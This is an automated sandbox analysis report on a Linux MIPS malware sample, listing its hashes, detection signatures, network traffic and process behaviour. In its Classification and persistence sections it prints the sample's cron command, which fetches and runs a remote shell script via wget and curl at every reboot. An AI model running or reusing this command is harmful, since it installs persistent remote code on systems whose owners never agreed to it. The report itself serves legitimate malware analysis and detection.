Linux Analysis Report
mpsl.elf

Overview

General Information

Sample name: mpsl.elf
Analysis ID: 1541164
MD5: 21256c2ed906767ea878798b626bbd96
SHA1: 2eba4ba74f0ab72e1450b9d69e37416acfd6f987
SHA256: f7f8dd8891b1cfa2703a5b090a8c523a7b22bdd4c87c6793af86e30bc080e2a8
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Source: tmp.73SHgw.19.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh
Source: global traffic TCP traffic: 192.168.2.23:41616 -> 88.151.195.22:9692
Source: global traffic TCP traffic: 192.168.2.23:59006 -> 31.13.248.89:21150
Source: global traffic TCP traffic: 192.168.2.23:56726 -> 185.82.200.181:16227
Source: /tmp/mpsl.elf (PID: 6214) Socket: 127.0.0.1:1172 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.73SHgw.19.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal48.troj.linELF@0/1@5/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 6221) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6220) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 6220) File: /var/spool/cron/crontabs/tmp.73SHgw Jump to behavior
Source: /usr/bin/crontab (PID: 6220) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6351/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6362/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6361/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6353/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6364/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6352/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6363/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6355/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6366/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6354/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6365/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6357/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6356/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6367/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6041/cmdline Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6360/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6359/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6358/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6317/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6217) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/mpsl.elf (PID: 6214) Queries kernel information via 'uname': Jump to behavior
Source: mpsl.elf, 6214.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6222.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6224.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6214.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6222.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6224.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6214.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6222.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6224.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mpsl.elf
Source: mpsl.elf, 6214.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6222.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6224.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs